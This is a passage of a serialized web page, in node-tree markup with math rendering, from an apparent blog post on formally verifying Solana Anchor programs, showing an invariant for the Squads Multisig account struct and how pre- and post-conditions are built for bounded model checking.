assets",{"type":24,"tag":271,"props":28562,"children":28563},{"style":624},[28564],{"type":29,"value":12210},{"type":24,"tag":271,"props":28566,"children":28567},{"style":3887},[28568],{"type":29,"value":13576},{"type":24,"tag":271,"props":28570,"children":28571},{"style":288},[28572],{"type":29,"value":638},{"type":24,"tag":271,"props":28574,"children":28575},{"class":273,"line":339},[28576,28580,28585,28589,28593],{"type":24,"tag":271,"props":28577,"children":28578},{"style":278},[28579],{"type":29,"value":28530},{"type":24,"tag":271,"props":28581,"children":28582},{"style":630},[28583],{"type":29,"value":28584}," liabilities",{"type":24,"tag":271,"props":28586,"children":28587},{"style":624},[28588],{"type":29,"value":12210},{"type":24,"tag":271,"props":28590,"children":28591},{"style":3887},[28592],{"type":29,"value":13576},{"type":24,"tag":271,"props":28594,"children":28595},{"style":288},[28596],{"type":29,"value":638},{"type":24,"tag":271,"props":28598,"children":28599},{"class":273,"line":347},[28600],{"type":24,"tag":271,"props":28601,"children":28602},{"style":288},[28603],{"type":29,"value":1171},{"type":24,"tag":25,"props":28605,"children":28606},{},[28607,28609,28614],{"type":29,"value":28608},"Our tool automatically generates the relevant harnesses to ensure that this property holds every time an account of type ",{"type":24,"tag":135,"props":28610,"children":28612},{"className":28611},[],[28613],{"type":29,"value":28440},{"type":29,"value":28615}," is created or modified.",{"type":24,"tag":25,"props":28617,"children":28618},{},[28619,28621,28627],{"type":29,"value":28620},"In another example, we developed the following invariant for the ",{"type":24,"tag":32,"props":28622,"children":28624},{"href":26516,"rel":28623},[36],[28625],{"type":29,"value":28626},"Squads Multisig",{"type":29,"value":28628}," wallet account:",{"type":24,"tag":261,"props":28630,"children":28632},{"code":28631,"language":10717,"meta":7,"className":10718,"style":7},"#[account]\n#[invariant(\n !self.keys.is_empty()\n && (self.keys.len() \u003C= u16::MAX as usize)\n && (self.threshold >= 1)\n && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n pub threshold: u16, // threshold for signatures\n pub authority_index: u16, // index to seed other authorities under this multisig\n pub transaction_index: u32, // look up and seed reference for transactions\n pub ms_change_index: u32, // the last executed/closed transaction\n pub bump: u8, // bump for the multisig seed\n pub create_key: Pubkey, // random key(or not) used to seed the multisig pda\n pub allow_external_execute: bool, // allow non-member keys to execute txs\n pub keys: Vec\u003CPubkey>, // keys of the members\n}\n",[28633],{"type":24,"tag":135,"props":28634,"children":28635},{"__ignoreMap":7},[28636,28643,28650,28680,28739,28768,28820,28827,28847,28877,28907,28937,28966,28996,29026,29055,29095],{"type":24,"tag":271,"props":28637,"children":28638},{"class":273,"line":274},[28639],{"type":24,"tag":271,"props":28640,"children":28641},{"style":288},[28642],{"type":29,"value":28457},{"type":24,"tag":271,"props":28644,"children":28645},{"class":273,"line":284},[28646],{"type":24,"tag":271,"props":28647,"children":28648},{"style":288},[28649],{"type":29,"value":28465},{"type":24,"tag":271,"props":28651,"children":28652},{"class":273,"line":294},[28653,28658,28662,28666,28671,28675],{"type":24,"tag":271,"props":28654,"children":28655},{"style":624},[28656],{"type":29,"value":28657}," !",{"type":24,"tag":271,"props":28659,"children":28660},{"style":288},[28661],{"type":29,"value":21414},{"type":24,"tag":271,"props":28663,"children":28664},{"style":624},[28665],{"type":29,"value":41},{"type":24,"tag":271,"props":28667,"children":28668},{"style":288},[28669],{"type":29,"value":28670},"keys",{"type":24,"tag":271,"props":28672,"children":28673},{"style":624},[28674],{"type":29,"value":41},{"type":24,"tag":271,"props":28676,"children":28677},{"style":288},[28678],{"type":29,"value":28679},"is_empty()\n",{"type":24,"tag":271,"props":28681,"children":28682},{"class":273,"line":303},[28683,28687,28692,28696,28700,28704,28709,28713,28718,28722,28727,28731,28735],{"type":24,"tag":271,"props":28684,"children":28685},{"style":624},[28686],{"type":29,"value":23319},{"type":24,"tag":271,"props":28688,"children":28689},{"style":288},[28690],{"type":29,"value":28691}," (self",{"type":24,"tag":271,"props":28693,"children":28694},{"style":624},[28695],{"type":29,"value":41},{"type":24,"tag":271,"props":28697,"children":28698},{"style":288},[28699],{"type":29,"value":28670},{"type":24,"tag":271,"props":28701,"children":28702},{"style":624},[28703],{"type":29,"value":41},{"type":24,"tag":271,"props":28705,"children":28706},{"style":288},[28707],{"type":29,"value":28708},"len() ",{"type":24,"tag":271,"props":28710,"children":28711},{"style":624},[28712],{"type":29,"value":27103},{"type":24,"tag":271,"props":28714,"children":28715},{"style":3887},[28716],{"type":29,"value":28717}," u16",{"type":24,"tag":271,"props":28719,"children":28720},{"style":624},[28721],{"type":29,"value":11207},{"type":24,"tag":271,"props":28723,"children":28724},{"style":3887},[28725],{"type":29,"value":28726},"MAX",{"type":24,"tag":271,"props":28728,"children":28729},{"style":278},[28730],{"type":29,"value":16541},{"type":24,"tag":271,"props":28732,"children":28733},{"style":3887},[28734],{"type":29,"value":21432},{"type":24,"tag":271,"props":28736,"children":28737},{"style":288},[28738],{"type":29,"value":694},{"type":24,"tag":271,"props":28740,"children":28741},{"class":273,"line":312},[28742,28746,28750,28754,28759,28763],{"type":24,"tag":271,"props":28743,"children":28744},{"style":624},[28745],{"type":29,"value":23319},{"type":24,"tag":271,"props":28747,"children":28748},{"style":288},[28749],{"type":29,"value":28691},{"type":24,"tag":271,"props":28751,"children":28752},{"style":624},[28753],{"type":29,"value":41},{"type":24,"tag":271,"props":28755,"children":28756},{"style":288},[28757],{"type":29,"value":28758},"threshold ",{"type":24,"tag":271,"props":28760,"children":28761},{"style":624},[28762],{"type":29,"value":17648},{"type":24,"tag":271,"props":28764,"children":28765},{"style":288},[28766],{"type":29,"value":28767}," 1)\n",{"type":24,"tag":271,"props":28769,"children":28770},{"class":273,"line":321},[28771,28775,28779,28783,28787,28791,28795,28799,28803,28807,28811,28815],{"type":24,"tag":271,"props":28772,"children":28773},{"style":624},[28774],{"type":29,"value":23319},{"type":24,"tag":271,"props":28776,"children":28777},{"style":288},[28778],{"type":29,"value":28691},{"type":24,"tag":271,"props":28780,"children":28781},{"style":624},[28782],{"type":29,"value":41},{"type":24,"tag":271,"props":28784,"children":28785},{"style":288},[28786],{"type":29,"value":28758},{"type":24,"tag":271,"props":28788,"children":28789},{"style":278},[28790],{"type":29,"value":16555},{"type":24,"tag":271,"props":28792,"children":28793},{"style":3887},[28794],{"type":29,"value":21432},{"type":24,"tag":271,"props":28796,"children":28797},{"style":624},[28798],{"type":29,"value":15912},{"type":24,"tag":271,"props":28800,"children":28801},{"style":288},[28802],{"type":29,"value":21497},{"type":24,"tag":271,"props":28804,"children":28805},{"style":624},[28806],{"type":29,"value":41},{"type":24,"tag":271,"props":28808,"children":28809},{"style":288},[28810],{"type":29,"value":28670},{"type":24,"tag":271,"props":28812,"children":28813},{"style":624},[28814],{"type":29,"value":41},{"type":24,"tag":271,"props":28816,"children":28817},{"style":288},[28818],{"type":29,"value":28819},"len())\n",{"type":24,"tag":271,"props":28821,"children":28822},{"class":273,"line":330},[28823],{"type":24,"tag":271,"props":28824,"children":28825},{"style":288},[28826],{"type":29,"value":27947},{"type":24,"tag":271,"props":28828,"children":28829},{"class":273,"line":339},[28830,28834,28838,28843],{"type":24,"tag":271,"props":28831,"children":28832},{"style":278},[28833],{"type":29,"value":21391},{"type":24,"tag":271,"props":28835,"children":28836},{"style":278},[28837],{"type":29,"value":616},{"type":24,"tag":271,"props":28839,"children":28840},{"style":3887},[28841],{"type":29,"value":28842}," Ms",{"type":24,"tag":271,"props":28844,"children":28845},{"style":288},[28846],{"type":29,"value":7145},{"type":24,"tag":271,"props":28848,"children":28849},{"class":273,"line":347},[28850,28854,28859,28863,28867,28872],{"type":24,"tag":271,"props":28851,"children":28852},{"style":278},[28853],{"type":29,"value":28530},{"type":24,"tag":271,"props":28855,"children":28856},{"style":630},[28857],{"type":29,"value":28858}," threshold",{"type":24,"tag":271,"props":28860,"children":28861},{"style":624},[28862],{"type":29,"value":12210},{"type":24,"tag":271,"props":28864,"children":28865},{"style":3887},[28866],{"type":29,"value":28717},{"type":24,"tag":271,"props":28868,"children":28869},{"style":288},[28870],{"type":29,"value":28871},", ",{"type":24,"tag":271,"props":28873,"children":28874},{"style":2058},[28875],{"type":29,"value":28876},"// threshold for signatures\n",{"type":24,"tag":271,"props":28878,"children":28879},{"class":273,"line":356},[28880,28884,28889,28893,28897,28902],{"type":24,"tag":271,"props":28881,"children":28882},{"style":278},[28883],{"type":29,"value":28530},{"type":24,"tag":271,"props":28885,"children":28886},{"style":630},[28887],{"type":29,"value":28888}," authority_index",{"type":24,"tag":271,"props":28890,"children":28891},{"style":624},[28892],{"type":29,"value":12210},{"type":24,"tag":271,"props":28894,"children":28895},{"style":3887},[28896],{"type":29,"value":28717},{"type":24,"tag":271,"props":28898,"children":28899},{"style":288},[28900],{"type":29,"value":28901},", ",{"type":24,"tag":271,"props":28903,"children":28904},{"style":2058},[28905],{"type":29,"value":28906},"// index to seed other authorities under this multisig\n",{"type":24,"tag":271,"props":28908,"children":28909},{"class":273,"line":365},[28910,28914,28919,28923,28927,28932],{"type":24,"tag":271,"props":28911,"children":28912},{"style":278},[28913],{"type":29,"value":28530},{"type":24,"tag":271,"props":28915,"children":28916},{"style":630},[28917],{"type":29,"value":28918}," transaction_index",{"type":24,"tag":271,"props":28920,"children":28921},{"style":624},[28922],{"type":29,"value":12210},{"type":24,"tag":271,"props":28924,"children":28925},{"style":3887},[28926],{"type":29,"value":25241},{"type":24,"tag":271,"props":28928,"children":28929},{"style":288},[28930],{"type":29,"value":28931},", ",{"type":24,"tag":271,"props":28933,"children":28934},{"style":2058},[28935],{"type":29,"value":28936},"// look up and seed reference for transactions\n",{"type":24,"tag":271,"props":28938,"children":28939},{"class":273,"line":374},[28940,28944,28949,28953,28957,28961],{"type":24,"tag":271,"props":28941,"children":28942},{"style":278},[28943],{"type":29,"value":28530},{"type":24,"tag":271,"props":28945,"children":28946},{"style":630},[28947],{"type":29,"value":28948}," ms_change_index",{"type":24,"tag":271,"props":28950,"children":28951},{"style":624},[28952],{"type":29,"value":12210},{"type":24,"tag":271,"props":28954,"children":28955},{"style":3887},[28956],{"type":29,"value":25241},{"type":24,"tag":271,"props":28958,"children":28959},{"style":288},[28960],{"type":29,"value":28901},{"type":24,"tag":271,"props":28962,"children":28963},{"style":2058},[28964],{"type":29,"value":28965},"// the last executed/closed transaction\n",{"type":24,"tag":271,"props":28967,"children":28968},{"class":273,"line":384},[28969,28973,28978,28982,28986,28991],{"type":24,"tag":271,"props":28970,"children":28971},{"style":278},[28972],{"type":29,"value":28530},{"type":24,"tag":271,"props":28974,"children":28975},{"style":630},[28976],{"type":29,"value":28977}," bump",{"type":24,"tag":271,"props":28979,"children":28980},{"style":624},[28981],{"type":29,"value":12210},{"type":24,"tag":271,"props":28983,"children":28984},{"style":3887},[28985],{"type":29,"value":22332},{"type":24,"tag":271,"props":28987,"children":28988},{"style":288},[28989],{"type":29,"value":28990},", ",{"type":24,"tag":271,"props":28992,"children":28993},{"style":2058},[28994],{"type":29,"value":28995},"// bump for the multisig seed\n",{"type":24,"tag":271,"props":28997,"children":28998},{"class":273,"line":393},[28999,29003,29008,29012,29016,29021],{"type":24,"tag":271,"props":29000,"children":29001},{"style":278},[29002],{"type":29,"value":28530},{"type":24,"tag":271,"props":29004,"children":29005},{"style":630},[29006],{"type":29,"value":29007}," create_key",{"type":24,"tag":271,"props":29009,"children":29010},{"style":624},[29011],{"type":29,"value":12210},{"type":24,"tag":271,"props":29013,"children":29014},{"style":3887},[29015],{"type":29,"value":28544},{"type":24,"tag":271,"props":29017,"children":29018},{"style":288},[29019],{"type":29,"value":29020},", ",{"type":24,"tag":271,"props":29022,"children":29023},{"style":2058},[29024],{"type":29,"value":29025},"// random key(or not) used to seed the multisig pda\n",{"type":24,"tag":271,"props":29027,"children":29028},{"class":273,"line":402},[29029,29033,29038,29042,29046,29050],{"type":24,"tag":271,"props":29030,"children":29031},{"style":278},[29032],{"type":29,"value":28530},{"type":24,"tag":271,"props":29034,"children":29035},{"style":630},[29036],{"type":29,"value":29037}," allow_external_execute",{"type":24,"tag":271,"props":29039,"children":29040},{"style":624},[29041],{"type":29,"value":12210},{"type":24,"tag":271,"props":29043,"children":29044},{"style":3887},[29045],{"type":29,"value":19753},{"type":24,"tag":271,"props":29047,"children":29048},{"style":288},[29049],{"type":29,"value":158},{"type":24,"tag":271,"props":29051,"children":29052},{"style":2058},[29053],{"type":29,"value":29054},"// allow non-member keys to execute txs\n",{"type":24,"tag":271,"props":29056,"children":29057},{"class":273,"line":411},[29058,29062,29067,29071,29076,29080,29085,29090],{"type":24,"tag":271,"props":29059,"children":29060},{"style":278},[29061],{"type":29,"value":28530},{"type":24,"tag":271,"props":29063,"children":29064},{"style":630},[29065],{"type":29,"value":29066}," keys",{"type":24,"tag":271,"props":29068,"children":29069},{"style":624},[29070],{"type":29,"value":12210},{"type":24,"tag":271,"props":29072,"children":29073},{"style":3887},[29074],{"type":29,"value":29075}," Vec",{"type":24,"tag":271,"props":29077,"children":29078},{"style":288},[29079],{"type":29,"value":801},{"type":24,"tag":271,"props":29081,"children":29082},{"style":3887},[29083],{"type":29,"value":29084},"Pubkey",{"type":24,"tag":271,"props":29086,"children":29087},{"style":288},[29088],{"type":29,"value":29089},">, ",{"type":24,"tag":271,"props":29091,"children":29092},{"style":2058},[29093],{"type":29,"value":29094},"// keys of the members\n",{"type":24,"tag":271,"props":29096,"children":29097},{"class":273,"line":420},[29098],{"type":24,"tag":271,"props":29099,"children":29100},{"style":288},[29101],{"type":29,"value":1171},{"type":24,"tag":25,"props":29103,"children":29104},{},[29105],{"type":29,"value":29106},"Here we are verifying multiple things at once:",{"type":24,"tag":97,"props":29108,"children":29109},{},[29110,29121,29132,29143],{"type":24,"tag":101,"props":29111,"children":29112},{},[29113,29119],{"type":24,"tag":135,"props":29114,"children":29116},{"className":29115},[],[29117],{"type":29,"value":29118},"!self.keys.is_empty()",{"type":29,"value":29120}," : ensure there is at least one member",{"type":24,"tag":101,"props":29122,"children":29123},{},[29124,29130],{"type":24,"tag":135,"props":29125,"children":29127},{"className":29126},[],[29128],{"type":29,"value":29129},"self.keys.len() \u003C= u16::MAX as usize",{"type":29,"value":29131}," : set an upper limit of 65535 members",{"type":24,"tag":101,"props":29133,"children":29134},{},[29135,29141],{"type":24,"tag":135,"props":29136,"children":29138},{"className":29137},[],[29139],{"type":29,"value":29140},"self.threshold >= 1",{"type":29,"value":29142}," : ensure we always need at least one member to sign (threshold of zero would require no signers!)",{"type":24,"tag":101,"props":29144,"children":29145},{},[29146,29152],{"type":24,"tag":135,"props":29147,"children":29149},{"className":29148},[],[29150],{"type":29,"value":29151},"self.threshold as usize \u003C= self.keys.len()",{"type":29,"value":29153}," : ensure we always have enough potential members to sign; if threshold was greater than the number of keys, no one could sign",{"type":24,"tag":62,"props":29155,"children":29157},{"id":29156},"verification-how-do-we-check-that-our-model-is-correct",[29158],{"type":29,"value":29159},"Verification: How do we check that our model is correct?",{"type":24,"tag":25,"props":29161,"children":29162},{},[29163,29165,29169,29171,29176],{"type":29,"value":29164},"Now that we have defined the specific instruction and account invariants, we need to generate ",{"type":24,"tag":10648,"props":29166,"children":29167},{},[29168],{"type":29,"value":27658},{"type":29,"value":29170}," on which we can run bounded model checking. Our tool does this ",{"type":24,"tag":10648,"props":29172,"children":29173},{},[29174],{"type":29,"value":29175},"automagically",{"type":29,"value":29177}," for anchor-lang programs.",{"type":24,"tag":25,"props":29179,"children":29180},{},[29181,29183,29189,29190,29195,29197,29202,29203,29208,29210,29215,29217,29222,29223,29229,29231,29237,29238,29244],{"type":29,"value":29182},"Specifically, for a given ",{"type":24,"tag":135,"props":29184,"children":29186},{"className":29185},[],[29187],{"type":29,"value":29188},"Context\u003CT>",{"type":29,"value":7970},{"type":24,"tag":10648,"props":29191,"children":29192},{},[29193],{"type":29,"value":29194},"incoming",{"type":29,"value":29196}," accounts of types (",{"type":24,"tag":135,"props":29198,"children":29200},{"className":29199},[],[29201],{"type":29,"value":28427},{"type":29,"value":12298},{"type":24,"tag":135,"props":29204,"children":29206},{"className":29205},[],[29207],{"type":29,"value":11448},{"type":29,"value":29209},") and ",{"type":24,"tag":10648,"props":29211,"children":29212},{},[29213],{"type":29,"value":29214},"outgoing",{"type":29,"value":29216}," accounts of type (",{"type":24,"tag":135,"props":29218,"children":29220},{"className":29219},[],[29221],{"type":29,"value":11448},{"type":29,"value":12298},{"type":24,"tag":135,"props":29224,"children":29226},{"className":29225},[],[29227],{"type":29,"value":29228},"close",{"type":29,"value":29230},") we define a ",{"type":24,"tag":135,"props":29232,"children":29234},{"className":29233},[],[29235],{"type":29,"value":29236},"pre_condition",{"type":29,"value":518},{"type":24,"tag":135,"props":29239,"children":29241},{"className":29240},[],[29242],{"type":29,"value":29243},"post_condition",{"type":29,"value":29245}," expression that is a conjunction of all of the incoming and outcoming account invariants:",{"type":24,"tag":25,"props":29247,"children":29248},{},[29249],{"type":24,"tag":135,"props":29250,"children":29252},{"className":29251},[11705,11706],[29253],{"type":24,"tag":271,"props":29254,"children":29256},{"className":29255},[11711],[29257],{"type":24,"tag":271,"props":29258,"children":29260},{"className":29259,"ariaHidden":5670},[11716],[29261,29297],{"type":24,"tag":271,"props":29262,"children":29264},{"className":29263},[11721],[29265,29270,29278,29283,29287,29293],{"type":24,"tag":271,"props":29266,"children":29269},{"className":29267,"style":29268},[11726],"height:0.6833em;",[],{"type":24,"tag":271,"props":29271,"children":29275},{"className":29272,"style":29274},[11732,29273],"mathnormal","margin-right:0.13889em;",[29276],{"type":29,"value":29277},"P",{"type":24,"tag":271,"props":29279,"children":29281},{"className":29280},[11732],[29282],{"type":29,"value":4121},{"type":24,"tag":271,"props":29284,"children":29286},{"className":29285,"style":11908},[11810],[],{"type":24,"tag":271,"props":29288,"children":29290},{"className":29289},[11913],[29291],{"type":29,"value":29292},":=",{"type":24,"tag":271,"props":29294,"children":29296},{"className":29295,"style":11908},[11810],[],{"type":24,"tag":271,"props":29298,"children":29300},{"className":29299},[11721],[29301,29306,29446,29450],{"type":24,"tag":271,"props":29302,"children":29305},{"className":29303,"style":29304},[11726],"height:1.2247em;vertical-align:-0.4747em;",[],{"type":24,"tag":271,"props":29307,"children":29310},{"className":29308},[29309],"mop",[29311,29320],{"type":24,"tag":271,"props":29312,"children":29317},{"className":29313,"style":29316},[29309,29314,29315],"op-symbol","small-op","position:relative;top:0em;",[29318],{"type":29,"value":29319},"⋀",{"type":24,"tag":271,"props":29321,"children":29323},{"className":29322},[11747],[29324],{"type":24,"tag":271,"props":29325,"children":29328},{"className":29326},[11752,29327],"vlist-t2",[29329,29434],{"type":24,"tag":271,"props":29330,"children":29332},{"className":29331},[11757],[29333,29427],{"type":24,"tag":271,"props":29334,"children":29337},{"className":29335,"style":29336},[11762],"height:0.2253em;",[29338],{"type":24,"tag":271,"props":29339,"children":29341},{"style":29340},"top:-2.4003em;margin-left:0em;margin-right:0.05em;",[29342,29346],{"type":24,"tag":271,"props":29343,"children":29345},{"className":29344,"style":11772},[11771],[],{"type":24,"tag":271,"props":29347,"children":29349},{"className":29348},[11777,11778,11779,11780],[29350],{"type":24,"tag":271,"props":29351,"children":29353},{"className":29352},[11732,11780],[29354,29359,29365,29375,29381,29390,29399,29405,29410,29416,29421],{"type":24,"tag":271,"props":29355,"children":29357},{"className":29356},[11732,29273,11780],[29358],{"type":29,"value":32},{"type":24,"tag":271,"props":29360,"children":29362},{"className":29361},[11732,29273,11780],[29363],{"type":29,"value":29364},"cc",{"type":24,"tag":271,"props":29366,"children":29368},{"className":29367},[11810,11780],[29369],{"type":24,"tag":271,"props":29370,"children":29372},{"className":29371},[11780],[29373],{"type":29,"value":29374}," ",{"type":24,"tag":271,"props":29376,"children":29378},{"className":29377},[11913,11780],[29379],{"type":29,"value":29380},"∈",{"type":24,"tag":271,"props":29382,"children":29384},{"className":29383},[11810,11780],[29385],{"type":24,"tag":271,"props":29386,"children":29388},{"className":29387},[11780],[29389],{"type":29,"value":29374},{"type":24,"tag":271,"props":29391,"children":29393},{"className":29392},[11732,29,11780],[29394],{"type":24,"tag":271,"props":29395,"children":29397},{"className":29396},[11732,11780],[29398],{"type":29,"value":29194},{"type":24,"tag":271,"props":29400,"children":29403},{"className":29401},[29402,11780],"mopen",[29404],{"type":29,"value":606},{"type":24,"tag":271,"props":29406,"children":29408},{"className":29407},[11732,29273,11780],[29409],{"type":29,"value":578},{"type":24,"tag":271,"props":29411,"children":29413},{"className":29412},[11732,29273,11780],[29414],{"type":29,"value":29415},"t",{"type":24,"tag":271,"props":29417,"children":29419},{"className":29418},[11732,29273,11780],[29420],{"type":29,"value":6034},{"type":24,"tag":271,"props":29422,"children":29425},{"className":29423},[29424,11780],"mclose",[29426],{"type":29,"value":2693},{"type":24,"tag":271,"props":29428,"children":29431},{"className":29429},[29430],"vlist-s",[29432],{"type":29,"value":29433},"​",{"type":24,"tag":271,"props":29435,"children":29437},{"className":29436},[11757],[29438],{"type":24,"tag":271,"props":29439,"children":29442},{"className":29440,"style":29441},[11762],"height:0.4747em;",[29443],{"type":24,"tag":271,"props":29444,"children":29445},{},[],{"type":24,"tag":271,"props":29447,"children":29449},{"className":29448,"style":11849},[11810],[],{"type":24,"tag":271,"props":29451,"children":29453},{"className":29452},[11732],[29454,29464,29469,29474,29479],{"type":24,"tag":271,"props":29455,"children":29457},{"className":29456},[11732,29],[29458],{"type":24,"tag":271,"props":29459,"children":29461},{"className":29460},[11732],[29462],{"type":29,"value":29463},"invariant",{"type":24,"tag":271,"props":29465,"children":29467},{"className":29466},[29402],[29468],{"type":29,"value":606},{"type":24,"tag":271,"props":29470,"children":29472},{"className":29471},[11732,29273],[29473],{"type":29,"value":32},{"type":24,"tag":271,"props":29475,"children":29477},{"className":29476},[11732,29273],[29478],{"type":29,"value":29364},{"type":24,"tag":271,"props":29480,"children":29482},{"className":29481},[29424],[29483],{"type":29,"value":2693},{"type":24,"tag":25,"props":29485,"children":29486},{},[29487],{"type":24,"tag":135,"props":29488,"children":29490},{"className":29489},[11705,11706],[29491],{"type":24,"tag":271,"props":29492,"children":29494},{"className":29493},[11711],[29495],{"type":24,"tag":271,"props":29496,"children":29498},{"className":29497,"ariaHidden":5670},[11716],[29499,29530],{"type":24,"tag":271,"props":29500,"children":29502},{"className":29501},[11721],[29503,29507,29512,29517,29521,29526],{"type":24,"tag":271,"props":29504,"children":29506},{"className":29505,"style":29268},[11726],[],{"type":24,"tag":271,"props":29508,"children":29510},{"className":29509,"style":29274},[11732,29273],[29511],{"type":29,"value":29277},{"type":24,"tag":271,"props":29513,"children":29515},{"className":29514},[11732],[29516],{"type":29,"value":156},{"type":24,"tag":271,"props":29518,"children":29520},{"className":29519,"style":11908},[11810],[],{"type":24,"tag":271,"props":29522,"children":29524},{"className":29523},[11913],[29525],{"type":29,"value":29292},{"type":24,"tag":271,"props":29527,"children":29529},{"className":29528,"style":11908},[11810],[],{"type":24,"tag":271,"props":29531,"children":29533},{"className":29532},[11721],[29534,29538,29661,29665],{"type":24,"tag":271,"props":29535,"children":29537},{"className":29536,"style":29304},[11726],[],{"type":24,"tag":271,"props":29539,"children":29541},{"className":29540},[29309],[29542,29547],{"type":24,"tag":271,"props":29543,"children":29545},{"className":29544,"style":29316},[29309,29314,29315],[29546],{"type":29,"value":29319},{"type":24,"tag":271,"props":29548,"children":29550},{"className":29549},[11747],[29551],{"type":24,"tag":271,"props":29552,"children":29554},{"className":29553},[11752,29327],[29555,29650],{"type":24,"tag":271,"props":29556,"children":29558},{"className":29557},[11757],[29559,29645],{"type":24,"tag":271,"props":29560,"children":29562},{"className":29561,"style":29336},[11762],[29563],{"type":24,"tag":271,"props":29564,"children":29565},{"style":29340},[29566,29570],{"type":24,"tag":271,"props":29567,"children":29569},{"className":29568,"style":11772},[11771],[],{"type":24,"tag":271,"props":29571,"children":29573},{"className":29572},[11777,11778,11779,11780],[29574],{"type":24,"tag":271,"props":29575,"children":29577},{"className":29576},[11732,11780],[29578,29583,29588,29597,29602,29611,29620,29625,29630,29635,29640],{"type":24,"tag":271,"props":29579,"children":29581},{"className":29580},[11732,29273,11780],[29582],{"type":29,"value":32},{"type":24,"tag":271,"props":29584,"children":29586},{"className":29585},[11732,29273,11780],[29587],{"type":29,"value":29364},{"type":24,"tag":271,"props":29589,"children":29591},{"className":29590},[11810,11780],[29592],{"type":24,"tag":271,"props":29593,"children":29595},{"className":29594},[11780],[29596],{"type":29,"value":29374},{"type":24,"tag":271,"props":29598,"children":29600},{"className":29599},[11913,11780],[29601],{"type":29,"value":29380},{"type":24,"tag":271,"props":29603,"children":29605},{"className":29604},[11810,11780],[29606],{"type":24,"tag":271,"props":29607,"children":29609},{"className":29608},[11780],[29610],{"type":29,"value":29374},{"type":24,"tag":271,"props":29612,"children":29614},{"className":29613},[11732,29,11780],[29615],{"type":24,"tag":271,"props":29616,"children":29618},{"className":29617},[11732,11780],[29619],{"type":29,"value":29214},{"type":24,"tag":271,"props":29621,"children":29623},{"className":29622},[29402,11780],[29624],{"type":29,"value":606},{"type":24,"tag":271,"props":29626,"children":29628},{"className":29627},[11732,29273,11780],[29629],{"type":29,"value":578},{"type":24,"tag":271,"props":29631,"children":29633},{"className":29632},[11732,29273,11780],[29634],{"type":29,"value":29415},{"type":24,"tag":271,"props":29636,"children":29638},{"className":29637},[11732,29273,11780],[29639],{"type":29,"value":6034},{"type":24,"tag":271,"props":29641,"children":29643},{"className":29642},[29424,11780],[29644],{"type":29,"value":2693},{"type":24,"tag":271,"props":29646,"children":29648},{"className":29647},[29430],[29649],{"type":29,"value":29433},{"type":24,"tag":271,"props":29651,"children":29653},{"className":29652},[11757],[29654],{"type":24,"tag":271,"props":29655,"children":29657},{"className":29656,"style":29441},[11762],[29658],{"type":24,"tag":271,"props":29659,"children":29660},{},[],{"type":24,"tag":271,"props":29662,"children":29664},{"className":29663,"style":11849},[11810],[],{"type":24,"tag":271,"props":29666,"children":29668},{"className":29667},[11732],[29669,29678,29683,29688,29693],{"type":24,"tag":271,"props":29670,"children":29672},{"className":29671},[11732,29],[29673],{"type":24,"tag":271,"props":29674,"children":29676},{"className":29675},[11732],[29677],{"type":29,"value":29463},{"type":24,"tag":271,"props":29679,"children":29681},{"className":29680},[29402],[29682],{"type":29,"value":606},{"type":24,"tag":271,"props":29684,"children":29686},{"className":29685},[11732,29273],[29687],{"type":29,"value":32},{"type":24,"tag":271,"props":29689,"children":29691},{"className":29690},[11732,29273],[29692],{"type":29,"value":29364},{"type":24,"tag":271,"props":29694,"children":29696},{"className":29695},[29424],[29697],{"type":29,"value":2693},{"type":24,"tag":25,"props":29699,"children":29700},{},[29701],{"type":29,"value":29702},"Our instruction invariants are represented as:",{"type":24,"tag":97,"props":29704,"children":29705},{},[29706,29742],{"type":24,"tag":101,"props":29707,"children":29708},{},[29709,29736,29737],{"type":24,"tag":135,"props":29710,"children":29712},{"className":29711},[11705,11706],[29713],{"type":24,"tag":271,"props":29714,"children":29716},{"className":29715},[11711],[29717],{"type":24,"tag":271,"props":29718,"children":29720},{"className":29719,"ariaHidden":5670},[11716],[29721],{"type":24,"tag":271,"props":29722,"children":29724},{"className":29723},[11721],[29725,29729],{"type":24,"tag":271,"props":29726,"children":29728},{"className":29727,"style":29268},[11726],[],{"type":24,"tag":271,"props":29730,"children":29733},{"className":29731,"style":29732},[11732,29273],"margin-right:0.05764em;",[29734],{"type":29,"value":29735},"S",{"type":29,"value":23028},{"type":24,"tag":135,"props":29738,"children":29740},{"className":29739},[],[29741],{"type":29,"value":27843},{"type":24,"tag":101,"props":29743,"children":29744},{},[29745,29771,29772],{"type":24,"tag":135,"props":29746,"children":29748},{"className":29747},[11705,11706],[29749],{"type":24,"tag":271,"props":29750,"children":29752},{"className":29751},[11711],[29753],{"type":24,"tag":271,"props":29754,"children":29756},{"className":29755,"ariaHidden":5670},[11716],[29757],{"type":24,"tag":271,"props":29758,"children":29760},{"className":29759},[11721],[29761,29765],{"type":24,"tag":271,"props":29762,"children":29764},{"className":29763,"style":29268},[11726],[],{"type":24,"tag":271,"props":29766,"children":29768},{"className":29767,"style":29732},[11732,29273],[29769],{"type":29,"value":29770},"E",{"type":29,"value":23028},{"type":24,"tag":135,"props":29773,"children":29775},{"className":29774},[],[29776],{"type":29,"value":27850},{"type":24,"tag":25,"props":29778,"children":29779},{},[29780,29782,29809,29811,29816,29818,29824],{"type":29,"value":29781},"And ",{"type":24,"tag":135,"props":29783,"children":29785},{"className":29784},[11705,11706],[29786],{"type":24,"tag":271,"props":29787,"children":29789},{"className":29788},[11711],[29790],{"type":24,"tag":271,"props":29791,"children":29793},{"className":29792,"ariaHidden":5670},[11716],[29794],{"type":24,"tag":271,"props":29795,"children":29797},{"className":29796},[11721],[29798,29802],{"type":24,"tag":271,"props":29799,"children":29801},{"className":29800,"style":29268},[11726],[],{"type":24,"tag":271,"props":29803,"children":29806},{"className":29804,"style":29805},[11732,29273],"margin-right:0.07153em;",[29807],{"type":29,"value":29808},"K",{"type":29,"value":29810}," represents whether the instruction actually succeeds (i.e. invoking the handler returned an ",{"type":24,"tag":135,"props":29812,"children":29814},{"className":29813},[],[29815],{"type":29,"value":28177},{"type":29,"value":29817}," not an ",{"type":24,"tag":135,"props":29819,"children":29821},{"className":29820},[],[29822],{"type":29,"value":29823},"Err",{"type":29,"value":28429},{"type":24,"tag":25,"props":29826,"children":29827},{},[29828],{"type":29,"value":29829},"In order to verify these conditions we need to verify three cases:",{"type":24,"tag":85,"props":29831,"children":29833},{"id":29832},"account-invariants-1",[29834],{"type":29,"value":29835},"Account invariants",{"type":24,"tag":25,"props":29837,"children":29838},{},[29839,29841,29872,29874,29904,29906,29936],{"type":29,"value":29840},"After we execute an instruction, either the function should error and be reverted 